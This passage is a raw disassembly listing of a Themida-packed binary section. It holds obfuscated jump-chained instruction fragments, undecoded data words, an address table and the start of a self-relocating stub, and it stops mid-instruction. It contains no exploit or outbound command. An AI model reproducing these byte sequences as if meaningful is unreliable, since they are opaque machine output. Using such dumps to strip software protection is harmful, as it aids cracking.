0C25411B9h, 0E181493Eh, 3F2E4376h, 7AA8F181h, 0CB2905B4h dd 0FFCEA2E9h, 24048FFFh, 0F19BE95Ch, 1C8BFFFFh, 17346824h dd 2C890000h, 0ADA0E924h, 1489FFFFh, 0E9E28924h, 0FFFFAED4h dd 0C2B661B3h, 0FFC77FE9h db 0FFh ; --------------------------------------------------------------------------- loc_551131: ; CODE XREF: Themida_:0054699Dj add eax, 4 jmp loc_5512C1 ; --------------------------------------------------------------------------- loc_55113B: ; CODE XREF: Themida_:0055139Ej push eax push ebx jmp loc_549F69 ; --------------------------------------------------------------------------- dw 0DEF7h dd 270FCE81h, 0C68140ACh, 304108F5h, 295EF289h, 3C875AD7h dd 3C895C24h, 0C8685524h, 5D2FF266h, 8105EDC1h, 7F4C87F5h dd 99ED8117h, 89EE9277h, 0E7815DEFh, 81F317Dh, 8904EC83h dd 72BE2434h, 29DDB42Eh, 0B4E8E9F7h, 0F681FFFFh, 2A012A22h dd 5EEBF681h, 0F1893721h, 0E924348Bh, 0FFFFA5ADh, 0E904C483h dd 0FFFFA3CFh ; --------------------------------------------------------------------------- loc_5511AC: ; CODE XREF: Themida_:0054662Ej add [esp+4], edx mov edx, [esp] jmp loc_5499A3 ; --------------------------------------------------------------------------- dd 4B951h, 0CF010000h, 81240C8Bh, 4C4h, 4EF8300h, 0FFD40EE9h dd 0EC815DFFh, 4, 89243C89h, 4C781E7h, 0E9000000h, 0F7Bh dd 4C78159h, 87000000h, 875C243Ch, 248B243Ch, 4096624h dd 91E99C24h db 4Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551203: ; CODE XREF: Themida_:005519BFj pop eax movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- dw 0C361h dd 0FF8064E9h, 0E82959FFh, 0FF6F63E9h db 0FFh ; --------------------------------------------------------------------------- loc_551219: ; CODE XREF: Themida_:005502DFj pop esp push small 1D5Fh mov [esp], cx push 3E78h mov [esp], eax jmp loc_54B532 ; --------------------------------------------------------------------------- db 33h dd 34312434h, 24343324h, 6624248Bh, 0E950E9F7h, 0A28h dd 0BA525659h, 7AB67F40h, 0FFD224E9h, 24B951FFh, 1000000h dd 0ADE950F9h, 81FFFFD1h, 0EDAB3FF3h, 5BDA01F5h, 15A9C381h dd 0D32930C6h, 15A9EB81h, 555A30C6h, 8C3E9h, 4C48100h dd 83000000h, 0FF5304C3h, 5B042474h, 8B24048Fh, 0E9562424h dd 0FFFFC47Ah, 240C8B66h, 0BE93E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5512A2: ; CODE XREF: Themida_:005478D8j not dword ptr [esp] push dword ptr [esp] pop eax jmp loc_546444 ; --------------------------------------------------------------------------- loc_5512AE: ; CODE XREF: Themida_:0054DB76j mov [esp], ecx jmp loc_549794 ; --------------------------------------------------------------------------- dw 0BB53h dd 3914E6Eh, 0FFF3B6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5512C1: ; CODE XREF: Themida_:00551136j push edx mov edx, 4 sub eax, edx pop edx xchg eax, [esp] mov esp, [esp] mov [esp], edx push ebp mov ebp, 409D3378h jmp loc_547FC3 ; --------------------------------------------------------------------------- dw 0EA80h dd 0CA32E934h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5512E6: ; CODE XREF: Themida_:00546D3Aj ; Themida_:005490E6j ... push 4B6Ah jmp loc_54C1CF ; --------------------------------------------------------------------------- dd 0E950E189h, 0FFFF6E1Ah ; --------------------------------------------------------------------------- loc_5512F8: ; CODE XREF: Themida_:00548E9Dj push eax jmp loc_547C94 ; --------------------------------------------------------------------------- loc_5512FE: ; CODE XREF: Themida_:005473EDj add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp xor ecx, eax push dword ptr [esp] pop eax add esp, 4 rep movsd add esp, [edx+38h] mov dword ptr [edx+38h], 6CF55A7Dh inc dword ptr [edx+38h] jmp loc_54C7E3 ; --------------------------------------------------------------------------- db 1 dd 2434FFEBh, 81242C8Bh, 4C4h, 5D545500h, 4C581h, 85E90000h dd 8B00000Dh, 0AEE92424h db 0A6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55134F: ; CODE XREF: Themida_:00546D95j push esi mov esi, 3C423761h add eax, esi pop esi add eax, edi sub eax, 3C423761h push esi mov esi, 41B753D9h xor esi, 244F142Fh jmp loc_551F5B ; --------------------------------------------------------------------------- loc_551370: ; CODE XREF: Themida_:0054EE98j push eax jmp loc_546FBF ; --------------------------------------------------------------------------- a4ua db '4ξΓ}',0 dd 7DEB80C3h, 5124048Bh, 0C181E189h, 4, 0FFBD3FE9h, 0E9F701FFh dd 0FFFF9F2Dh ; --------------------------------------------------------------------------- loc_551398: ; CODE XREF: Themida_:00545F7Ej sub esp, 4 mov [esp], ebx jmp loc_55113B ; --------------------------------------------------------------------------- loc_5513A3: ; CODE XREF: Themida_:00550F3Fj add bl, 0F0h jmp loc_55007A ; --------------------------------------------------------------------------- db 0BEh dd 4C1F1446h, 0C681D6F7h, 393854EDh, 41D3C681h, 0CCE95E64h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5513C3: ; CODE XREF: Themida_:0054621Fj sub esp, 4 jmp loc_551AB6 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 4C78100h, 0E9000000h, 0FFFFBC13h ; --------------------------------------------------------------------------- loc_5513DC: ; CODE XREF: Themida_:00551CABj mov [esp], ebx jmp loc_548C60 ; --------------------------------------------------------------------------- dd 6358E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5513EA: ; CODE XREF: Themida_:0054F2F9j mov edx, [esp] jmp loc_54867A ; --------------------------------------------------------------------------- loc_5513F2: ; CODE XREF: Themida_:00550EA1j mov dl, 20h sub al, 44h sub al, 7Bh sub al, dl add al, 7Bh push cx mov cl, 44h add al, cl jmp loc_550687 ; --------------------------------------------------------------------------- db 2Ch dd 51F02855h, 0E5C0FAB5h, 80DDF604h, 2EE984EDh, 8BFFFF92h dd 0C4832404h, 0F0285B04h, 0C3805A66h, 50C300B1h, 2CB35351h dd 1FE9CBFEh, 54FFFF78h, 0B0BD555Fh, 813BEF71h, 38780EEDh dd 34C58152h, 0E9906867h, 0FFFF7170h, 89DBD55h, 1FE94C06h dd 5CFFFF6Ah, 4EC81h, 4890000h, 5585424h, 4, 38EB68h, 242C8900h dd 8904EC83h, 60B82404h, 0BD73E466h, 73E46664h, 0EBE9C531h dd 81FFFF89h, 0EE65C7EAh, 65BF5760h, 81598379h, 65CEDCFh dd 0DFF74F56h, 5002EFC1h, 0FF7206E9h, 0B27B05FFh, 0C789801Bh dd 5024048Bh, 0FF5734E9h, 37C681FFh, 5073DD08h, 0FF95E7E9h dd 240C33FFh, 0FF8045E9h db 0FFh ; --------------------------------------------------------------------------- loc_5514CD: ; CODE XREF: Themida_:0054C7B2j mov eax, [esp] add esp, 4 jmp loc_54830B ; --------------------------------------------------------------------------- dd 0F0654BBBh, 34BA523Ch, 4251D948h, 0FFC0A5E9h, 243C8BFFh dd 0FF8815E9h db 0FFh ; --------------------------------------------------------------------------- loc_5514F1: ; CODE XREF: Themida_:0054A882j mov al, 0B7h mov bh, 0F1h sub bh, al jmp loc_5493A8 ; --------------------------------------------------------------------------- dd 8B241C89h db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push 7906h mov [esp], edx push edi mov edi, 727960F1h shl edi, 5 xchg ebx, edi xchg eax, ebx not eax xchg eax, ebx xchg ebx, edi shl edi, 1 jmp loc_54A488 ; --------------------------------------------------------------------------- db 56h dd 0C681E689h, 4, 4C681h, 34870000h, 11E95C24h, 81FFFF84h dd 0A01A02C7h, 8BFA018Eh, 0C481243Ch, 4, 31E9D021h, 8FFFFFC5h dd 6037E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551562: ; CODE XREF: Themida_:0054D2E6j push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] not ebp xchg ebp, [esp] push dword ptr [esp] pop eax jmp loc_54F363 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 42474FFh, 24048F5Ah, 0FFD29EE9h, 7E9C1FFh, 6DA068h dd 0FF5EE900h, 8B66FFFFh, 70682404h, 8900006Bh, 0E954240Ch dd 0FFFF969Eh, 42474FFh, 24048F58h, 2404895Ch, 0FF5280E9h dd 0C8B66FFh, 0EC835224h, 24248904h, 0FF9A88E9h, 4C083FFh dd 31240433h, 4332404h, 0FD65E924h, 34FFFFFFh, 0C4815B24h dd 4, 0FFD718E9h, 5BD800FFh, 0FFAD2EE9h, 242C31FFh, 8B242C33h dd 54522424h, 4BF575Ah, 0E9000000h, 0FFFFCB55h ; --------------------------------------------------------------------------- loc_551610: ; CODE XREF: Themida_:00547F6Ej pop dx push 20B8h mov [esp], ebx mov bh, 9Ah jmp loc_549F1C ; --------------------------------------------------------------------------- db 5Ah, 81h, 0C2h dd 4, 4C281h, 14870000h, 24248B24h, 0E9E78957h, 0FFFFEB4Ah dd 0B850h, 0D0010000h, 0FF583001h, 815A2434h, 4C4h, 2434FF00h dd 1B9E95Eh, 0D8310000h, 0FFF2A9E9h db 0FFh ; --------------------------------------------------------------------------- loc_551661: ; CODE XREF: Themida_:00551AA0j pop eax jmp loc_549E0A ; --------------------------------------------------------------------------- db 80h dd 0C300D4C3h, 0E9D4EB80h, 0FFFFF72Bh, 4937C581h, 814D623Fh dd 116B34E5h, 0F2C5816Ch, 19FFFF6h, 4875DE8h, 24248B24h dd 9C240CD3h, 0FF46FBE9h, 0E9C35BFFh, 0FFFFC5A2h, 0C93BE947h dd 0C283FFFFh, 24143302h, 0FF5DA4E9h, 0E78957FFh, 4C781h dd 0EF830000h, 243C8704h, 2414895Ch, 0C281E289h, 4, 61E3BB53h dd 0CB814B44h, 51BF7F34h, 711FCB81h, 0C383736Eh, 4F38101h dd 517BFF80h, 995621B9h, 692E93Fh, 0DDF70000h, 29BBED81h dd 0EE017E48h, 0FF9729E9h, 53E9ADFFh, 89FFFFFFh, 0BBB82404h dd 813DA67Ah, 4ECh, 24348900h, 598546BEh, 0E9F189C2h, 0FFFFC87Ah dd 9797E959h, 8957FFFFh, 4C781E7h, 81000000h, 4C7h, 0CAA4E900h dd 0C181FFFFh, 4, 6FBF5755h, 8938D045h, 0E5C15FFDh, 2EDC103h dd 6BB2C581h, 0C5817AA0h, 53BF0972h, 34FFE901h, 0C4815D24h dd 4, 0AE75E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551772: ; CODE XREF: Themida_:0054AF90j add al, ch jmp loc_54CCFA ; --------------------------------------------------------------------------- db 53h, 0BBh, 46h dd 31A1AD88h, 0CA215BD9h, 80F28159h, 2D4AFBBBh, 1853F8Eh dd 0ECE9D029h, 8BFFFFB1h, 0C4832414h, 5CC1E904h, 0E95FFFFFh dd 0FFFFE4DBh, 4BEh, 0FFF50100h, 815E2434h, 4C4h, 0CAB3E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5517BE: ; CODE XREF: Themida_:00549158j push 5461h mov [esp], eax mov eax, 800h and ecx, eax push dword ptr [esp] pop eax push eax push esp pop eax add eax, 4 jmp loc_54AABC ; --------------------------------------------------------------------------- dw 1489h dd 764DBA24h, 0E2C170CEh, 0BEC28106h, 0E92D9E32h, 0FFFF5064h dd 0EC4CC781h, 81E94918h db 8Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5517FF: ; CODE XREF: Themida_:005465E1j not ebx inc ebx jmp loc_54D327 ; --------------------------------------------------------------------------- db 83h dd 48704C0h, 3FE95C24h, 81FFFFCBh, 4C4h, 729E6800h, 0C890000h dd 81595424h, 4C1h, 4E98300h, 5C240C87h, 0E9243C89h, 0FFFF4F25h dd 0E9028F64h, 0FFFF4554h, 4C281h, 0C2810000h, 4, 2474FF52h dd 48F5A04h, 0C4835C24h, 0C0FDE904h, 0E089FFFFh, 405h dd 8230E900h, 0F65BFFFFh, 2EA80D2h, 0FFDEC7E9h, 4C781FFh dd 68000000h, 4C87h, 0BA241489h, 4, 575AD729h, 42474FFh dd 0FF4630E9h, 0E6EBEFFh, 0F3295DFEh, 0A1EB815Eh, 17B1495h dd 5AE95BD9h, 80FFFFD5h, 0F828BAEFh, 51112C5Bh, 461068h dd 241C8900h, 0E998B151h, 4D1h, 2BBh, 5BDE0100h, 8B243487h dd 0F662424h, 9C2404BBh, 0FF44B7E9h, 0C83B66FFh, 581EE99Ch dd 0D9F7FFFFh, 0BE56h, 0CE290000h, 0C4E9F187h, 59FFFF8Bh dd 715EE81h, 0CE01556Fh, 3169B951h, 0E181279Eh, 48F63301h dd 0FFC2E1E9h, 0E1768FFh, 34890000h, 9B85024h, 890D9939h dd 0BD5558C6h, 0D993909h, 2C8BEE31h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_551A55 ; --------------------------------------------------------------------------- dw 8B66h dd 0CE682404h, 8900000Dh, 8B542404h, 0C4812404h, 4, 4BF57h dd 0F8010000h, 0EC83555Fh, 24048904h, 18604CB8h, 58C58908h dd 0FFD787E9h, 1CE951FFh, 66FFFF7Ch, 15E930FFh db 44h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55197F: ; CODE XREF: Themida_:00546354j xchg eax, [esp] xchg eax, ebx xchg edx, ebx not edx xchg edx, ebx jmp loc_54D914 ; --------------------------------------------------------------------------- dw 5E5Fh dd 247C2958h, 45E9E904h, 9068FFFFh, 5400000Fh, 0FF6168E9h dd 0CB814BFFh, 0DE664DBh, 8A09C381h, 0D901C200h, 4E9835Bh dd 0FF9F27E9h db 0FFh ; --------------------------------------------------------------------------- loc_5519BD: ; CODE XREF: Themida_:0055008Aj sub bl, al jmp loc_551203 ; --------------------------------------------------------------------------- dd 48BC731h, 4C48124h, 51000000h, 7976C268h, 67E95916h dd 0F7FFFFE0h, 0FCE281D2h, 8142E37Eh, 0A33E9CF2h, 5AC78142h dd 17CCC37h, 5AEF81D7h, 5A7CCC37h, 4BE56h, 0C7810000h dd 38E62AB8h, 0FF87ECE9h, 5CE958FFh, 29FFFF63h, 5904244Ch dd 95BCE958h, 0C581FFFFh, 4, 0EF8AE950h, 0E946FFFFh, 0FFFFBB22h ; --------------------------------------------------------------------------- loc_551A2C: ; CODE XREF: Themida_:005482F0j pop ebp add esp, 4 shr eax, 0Bh xor ecx, eax push 2764h mov [esp], ebx jmp loc_54F756 ; --------------------------------------------------------------------------- dw 0DA29h dd 3E9EA81h, 685B651Ch, 0 dd 0FFB929E9h db 0FFh ; --------------------------------------------------------------------------- loc_551A55: ; CODE XREF: Themida_:00551939j xchg ebp, [esp] mov esp, [esp] mov ebx, esi jmp loc_549552 ; --------------------------------------------------------------------------- dw 0EB81h dd 0D9047DA1h, 0E95BD801h, 0FFFFA738h, 2847F381h, 0D8E943C1h db 5Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551A7B: ; CODE XREF: Themida_:0054831Aj mov edi, 4791F98h push 3E1Ah mov [esp], ebp mov ebp, 3DC4153Eh xor edi, ebp pop ebp xchg edx, edi not edx xchg edx, edi push ecx mov ecx, 6742802Ch add edi, ecx pop ecx push edi jmp loc_551661 ; --------------------------------------------------------------------------- db 81h, 0F6h, 6Bh dd 0C11ED851h, 0E6C105EEh, 466FE905h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551AB6: ; CODE XREF: Themida_:005513C6j mov [esp], esp push ebx mov ebx, 4 add [esp+4], ebx pop ebx jmp loc_54D20B ; --------------------------------------------------------------------------- db 68h, 0D2h, 74h dd 0C890000h, 7AD6E924h, 0D0F7FFFFh, 12C98A2Dh, 58C389B4h dd 0E95FFB29h, 0FFFFBAF7h, 0E189515Fh, 4C181h, 0E9810000h dd 4, 5C240C87h, 89241C89h, 0C689E9FBh, 0DA21FFFFh, 4ADAF75Bh dd 7A5EF281h, 0C2810796h, 0BED28D56h, 156CEA81h, 2CE97E98h dd 1FFFF9Bh, 276405D8h, 302D6C2Eh, 0E9128973h, 0FFFFEFB7h ; --------------------------------------------------------------------------- loc_551B34: ; CODE XREF: Themida_:0054D6BEj add esp, 4 push ebx jmp loc_54D2EB ; --------------------------------------------------------------------------- dd 3F421CBDh, 0D308E933h, 248BFFFFh, 2434FF24h, 0E2895258h dd 8904EC83h, 4BB241Ch, 1000000h, 80E95BDAh, 51000005h dd 42474FFh, 24048F59h, 0FF6E7BE9h, 0CBCD80FFh, 3EB65266h dd 5A66F528h, 80A7B450h, 0F4801BC4h, 0FFC48062h, 0ECC0DCF6h dd 7CEC8006h, 8058E528h, 0E5C049E5h, 1EED8005h, 37E9A1B2h dd 81FFFFF7h, 4C4h, 1CF56800h, 0E9E90000h, 81FFFFBDh, 4C7h dd 0C0DCE900h, 8159FFFFh, 4C1h, 2C18300h, 0FFFF96E9h db 0FFh ; --------------------------------------------------------------------------- loc_551BD1: ; CODE XREF: Themida_:00549258j mov ah, ch mov bl, ah mov eax, [esp] add esp, 4 jmp loc_54BFC6 ; --------------------------------------------------------------------------- db 89h dd 348B241Ch, 4C48124h, 52000000h, 89F78957h, 0D0895FFAh dd 24348B5Ah, 4C481h, 25680000h, 89000033h, 0EC832434h dd 24348904h, 0D68E689h, 8900004Eh, 25BA2414h, 81658D7Ch dd 0BA7E87EAh, 0D2F74A0Bh, 8104EAC1h, 62D022EAh, 5AD6010Ah dd 3304EE83h, 34312434h, 24343324h, 240C895Ch, 400B9h dd 34815100h, 9F484924h, 0BF575E2Bh, 2B9F4849h, 8B5FFE31h dd 0C483240Ch, 5EF02104h, 0E90AE8C1h, 0FFFFC3DFh, 405E089h dd 51000000h, 502668h, 6F94E900h, 0E781FFFFh, 347444FDh dd 3ACDC781h, 0EF817A71h, 8D966B51h, 0DF5B1505h, 0E9F80112h dd 0FFFFAE06h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 mov [esp], esi sub esp, 4 jmp loc_5513DC ; --------------------------------------------------------------------------- dd 0DDF7454Dh, 0FFCE21E9h, 2434FFFFh, 592434FFh, 5E08950h dd 4, 4B951h, 0C8010000h, 74FF5059h, 8F580424h, 575C2404h dd 21D668h, 8750E900h, 433FFFFh, 24043124h, 0E9240433h dd 0FFFFBE0Bh, 0BD5320BFh, 81D7F72Ch, 9B1B9BF7h, 83DFF732h dd 48904ECh, 0B5C6E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551D0E: ; CODE XREF: Themida_:00548B59j pop edi add edi, 4 push esi mov esi, 4 jmp loc_546ADE ; --------------------------------------------------------------------------- dd 0DFC7BA52h, 0EF81F4FCh, 771529FDh, 0FF7595E9h, 42966FFh dd 40E99C24h, 8BFFFFBEh, 0EBE9242Ch, 87FFFFA2h, 248B243Ch dd 24040924h, 4042E99Ch, 34FFFFFFh, 0C6E95924h, 89FFFF83h dd 0E95356E0h, 0FFFFC366h ; --------------------------------------------------------------------------- loc_551D64: ; CODE XREF: Themida_:00546456j pop esp xchg eax, [esp] push dword ptr [esp] jmp loc_548CF5 ; --------------------------------------------------------------------------- dd 4DF54ABEh, 822EE998h, 7ABDFFFFh, 0E911C87Ah, 0FFFFBE34h dd 0E959CA29h, 0FFFF6D7Eh, 240C895Ch, 0FF4326E9h, 80B9B7FFh dd 0CF0042EFh, 5942C780h, 0CDE924B5h, 81000001h, 42404h dd 685F0000h, 0DFBh, 52243489h, 0E7216BAh, 2EEA8175h, 8911A85Eh dd 0DEF75AD6h, 4760C681h, 0D6F784D2h, 74B5C681h, 0C6813720h dd 0EA4BBEC8h, 5E95EF81h, 0F70115E7h, 5E95C781h, 815E15E7h dd 4C7h, 0CFD9E900h, 0E281FFFFh, 1FC11B1Ah, 0CA81D2F7h dd 67B26FDDh, 1025C281h, 0D3895825h, 1EEB815Ah, 0E9502510h dd 0FFFFE2F9h, 5502C583h, 42474FFh, 0E9242C8Bh, 0FFFF5113h dd 374E950h, 0C7830000h, 4EC8102h, 0E9000000h, 0FFFF885Bh dd 94A0E94Eh, 815EFFFFh, 2C1h, 0ABB4E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551E4E: ; CODE XREF: Themida_:0054D926j pop ecx jmp loc_54783E ; --------------------------------------------------------------------------- dd 771C68h, 24148900h, 42474FFh, 24048F5Ah, 0FFC4F1E9h db 0FFh ; --------------------------------------------------------------------------- loc_551E69: ; CODE XREF: Themida_:00548D17j pop ecx pop dword ptr [esp] pop esp shr eax, 10h xor eax, ecx push eax sub esp, 4 jmp loc_54E1EB ; --------------------------------------------------------------------------- dd 0CB58E95Eh, 0EC83FFFFh, 240C8904h, 0E87534B9h, 0C5BF5764h dd 816E3D14h, 0E27EAEFh, 75C7812Dh, 4775CD5Dh, 0FF932CE9h dd 405FFh, 4050000h, 87000000h, 685C2404h, 50B4h, 0E9242C89h dd 0FFFFFEBAh, 371631BEh, 2ABD5572h, 0E970CE32h, 0FFFFF01Ch dd 411C402Dh, 2C8B50E3h, 4C48124h, 0E9000000h, 0FFFF5306h dd 8324048Bh, 0E7C104C4h, 91BA5208h, 0C17EA74Ah, 0D2F708E2h dd 11A9F281h, 0EA8105CCh, 0F56B39FDh, 0BCE9D729h db 0D5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551F0B: ; CODE XREF: Themida_:0054E960j mov esi, 3E0173B7h dec esi push ecx jmp loc_54C418 ; --------------------------------------------------------------------------- db 66h dd 80E30058h, 506673EBh, 4E99FB4h, 81FFFFBDh, 4C2h, 0C86BE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551F32: ; CODE XREF: Themida_:0054AA1Aj shr eax, 0Ch xor eax, ecx push eax sub esp, 4 mov [esp], ebx push dword ptr [esp] push dword ptr [esp] pop eax push ebp mov ebp, esp push eax mov eax, 1E8E02E2h add eax, 2E92894h jmp loc_546835 ; --------------------------------------------------------------------------- loc_551F5B: ; CODE XREF: Themida_:0055136Bj dec esi not esi sub esi, 83DBA14Ah sub eax, esi pop esi pop edi jmp loc_548A9E ; --------------------------------------------------------------------------- db 0F7h, 0D3h, 0E9h dd 0FFFF7BD3h, 0E95BFD00h, 0FFFFCAC0h, 4BAh, 0E9D00100h dd 0FFFF72FBh, 68243C89h, 1BA24C9Eh, 6E7C15Fh, 277FEF81h dd 0FD89E893h, 0FFC4A5E9h, 0BEE958FFh, 68FFFF9Fh, 5D45h dd 0E9242489h, 0FFFF5C2Bh, 5C243487h, 8B24048Fh, 0EC832404h dd 24348904h, 0C681E689h, 4, 0E904C683h, 0FFFF9FBCh, 57FDBB53h dd 0D8017DF5h, 83241C8Bh, 505B04C4h, 0A92C85B8h, 4E8C114h dd 0DCBB5348h, 9312874h, 91E95BD8h, 8BFFFFE5h, 0F1F72424h dd 376C68h, 24148900h, 0FFE11EE9h, 24048FFFh, 4EC835Ch dd 0B8240489h, 2, 62A9C181h, 0C10167F9h, 62A9E981h, 875867F9h dd 0E95C240Ch, 0FFFFD8C7h, 6824048Bh, 4A8h, 89242C89h dd 49E952E5h, 56FFFFDEh, 0FF7462E9h, 1FE981FFh, 159A10Bh dd 3FB2E9E9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55205A: ; CODE XREF: Themida_:0055083Ej add eax, edx pop edx jmp loc_550D5F ; --------------------------------------------------------------------------- dw 0BE56h dd 5EFF77A6h, 0FF71ADE9h, 685B54FFh, 5D19h, 68242C89h dd 69EAh, 0FF5036E9h, 0ABF680FFh, 0FFE3E6E9h, 8CE9ADFFh dd 80FFFF99h, 67E9DDC6h, 68FFFFEEh, 4365h, 8904EC83h, 4832424h dd 48F0424h, 4EC8324h, 0BD242C89h, 4, 4246C01h, 0C181595Dh dd 4, 0FF7CC1E9h db 0FFh ; --------------------------------------------------------------------------- loc_5520C5: ; CODE XREF: Themida_:005493F8j neg esi jmp loc_548FD2 ; --------------------------------------------------------------------------- dd 57F5BF57h, 0C7812D09h, 0D2F6A80Fh, 875FFD01h, 665C242Ch dd 5AE9008Fh, 56FFFFC3h, 0FF59C8E9h, 0F8015DFFh, 41AE685Fh dd 0C890000h, 9D685524h, 8B030662h, 0C481242Ch, 4, 5FCB850h dd 0E8C12831h, 6BB9E904h, 1431FFFFh, 24143324h, 68241431h dd 7591h, 87241489h, 0D5F7242Ch, 5A242C87h, 606368h, 24148900h dd 42474FFh, 0E924148Bh, 0FFFFAD85h, 24048F5Fh, 2BB535Ch dd 6808DC43h, 0 dd 0D4242C81h, 297FA603h, 0DCE9241Ch, 83FFFF63h, 45E904C7h dd 52FFFFC4h, 42474FFh, 8324148Bh, 48F04C4h, 89535C24h dd 1ABD55E3h, 87094D1Fh, 0D58742D5h, 0FFB08AE9h, 89515DFFh dd 4C181E1h, 81000000h, 4E9h, 5C01E900h, 2B8FFFFh, 29000000h dd 0E95258C2h, 0FFFF454Dh, 4CB8C581h, 0E5811D0Ah, 7DBF5FE4h dd 0BE56h, 0EE290000h, 0C15EF587h, 0ED8108E5h, 51AE65D3h dd 0D3E9EE29h, 21FFFFD3h, 92355DE8h, 516A752Bh, 652996B9h dd 59C8313Eh, 34E9h, 20E58100h, 0C10CFE6Dh, 0C58107EDh dd 26772627h, 36CAB850h, 0C5211B67h, 33E94558h db 91h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55220B: ; CODE XREF: Themida_:00550181j mov esi, 342B641Eh add esi, 0D46204EEh jmp loc_54F270 ; --------------------------------------------------------------------------- db 57h dd 0FF844AE9h, 58C601FFh, 0E904C683h, 0FFFF4DCCh ; --------------------------------------------------------------------------- loc_55222C: ; CODE XREF: Themida_:0054F11Aj push edi mov edi, 32BA369Fh add edx, edi pop edi push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 jmp loc_5512E6 ; --------------------------------------------------------------------------- loc_552246: ; CODE XREF: Themida_:0054E7BCj pop esi pop edx add [edi+24h], ebp pop ebp loc_55224C: ; CODE XREF: Themida_:0054F047j push ebx jmp loc_546628 ; --------------------------------------------------------------------------- dw 2409h dd 0DF736234h, 304FA0Eh, 69DD7FFEh, 0A0h, 552B0000h, 304005Ah dd 2077FFEh, 20000h, 10000h, 30000h, 0DF730000h, 0FA0Eh dd 4 dup(0) dd 0FF960000h, 3DE90055h, 62950055h, 9C810055h, 0CD8F0055h dd 0EAAF0055h, 7B3A0055h, 1BCF0056h, 8A20056h, 1B60056h dd 826B0056h, 0A3350055h, 45ED0055h, 434B0055h, 0AC780055h dd 0CABA0055h, 0C8EF0055h, 0CC660055h, 0B8240055h, 95450055h dd 0D7220055h, 0E0340055h, 0F3330055h, 0DAD70055h, 0D1650055h dd 0A6AE0055h, 79C20055h, 2D0F0055h, 923A0055h, 0CB3A0055h dd 68AC0055h, 3EE70055h, 63AA0055h, 5BCC0055h, 66E30056h dd 680A0056h, 0B0AB0056h, 348A0055h, 5C000056h, 7AF80056h dd 0EFB70055h, 0DD790055h, 0BD200055h, 1B340055h, 16200056h dd 63170056h, 2AFA0055h, 0FFC10056h, 0A62A0055h, 0DBAD0055h dd 42220055h, 0AFE60055h, 7BE10055h, 62B80056h, 77AC0056h dd 0BC3F0055h, 4DD20055h, 94D00055h, 8C9E0055h, 93B70055h dd 0BCDB0055h, 0FF3B0055h, 69800055h, 0AD70056h, 14C40056h dd 0C0430056h, 0AADB0055h, 655C0055h, 42A70056h, 343D0055h dd 0E0C40056h, 0EFA80055h, 385F0055h, 57DE0056h, 0A8B90055h dd 44850055h, 0A0E90055h, 4D5A0055h, 312E0055h, 54FF0056h dd 52B40055h, 52290056h, 31640056h, 1E820056h, 0EEFE0056h dd 4EAE0055h, 0E67F0055h, 5FA70055h, 5F910056h, 4EEA0055h dd 0FAAB0055h, 0D0D50055h, 0E9970055h, 77E00055h, 0C020055h dd 59820056h, 11B50055h, 48D70056h, 43280056h, 42830055h dd 0CA980056h, 7C760055h, 82500055h, 653F0055h, 0F2C20056h dd 0BB290055h, 25F0055h, 2D180056h, 63F80055h, 88080055h dd 0BD080055h, 0D1560055h, 0CFD90055h, 4D600055h, 0D6C60056h dd 53400055h, 0D8190055h, 34F60055h, 0E53E0056h, 2B350055h dd 37110055h, 0DD350055h, 5260055h, 241A0056h, 0A8440056h dd 75960055h, 0B10D0056h, 74660055h, 0B1F60055h, 0BE6A0055h dd 0A3B10055h, 0A33D0055h, 6E340055h, 62460056h, 0B7D60055h dd 60660055h, 60330056h, 6FCE0055h, 0FD000056h, 31490055h dd 0AD570056h, 6B0F0055h, 44D10056h, 214F0055h, 730A0056h dd 0E8590055h, 90DF0055h, 2C1E0055h, 4E610055h, 9B6B0056h dd 4ADB0055h, 69820056h, 56380055h, 3BCB0056h, 59630056h dd 55220056h, 10840056h, 75A60056h, 5FB70055h, 0E36E0055h dd 988C0055h, 2DC40055h, 5C750056h, 6B5D0055h, 7E480056h dd 7D990055h, 0CCDC0055h db 55h, 0 ; --------------------------------------------------------------------------- loc_552532: ; CODE XREF: Themida_:00593C50j pusha pushf cld call $+5 pop edi sub edi, 64645C7h mov eax, edi add edi, 64642DFh cmp eax, [edi+2Ch] jnz short loc_552550 jmp short loc_552563 ; --------------------------------------------------------------------------- loc_552550: ; CODE XREF: Themida_:0055254Cj mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_55255F ; --------------------------------------------------------------------------- loc_55255A: ; CODE XREF: Themida_:00552561j add [edi+ecx*4+40h], eax dec ecx loc_55255F: ; CODE XREF: Themida_:00552558j or ecx, ecx jnz short loc_55255A loc_552563: ; CODE XREF: Themida_:0055254Ej mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_552570: ; CODE XREF: Themida_:00552577j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short 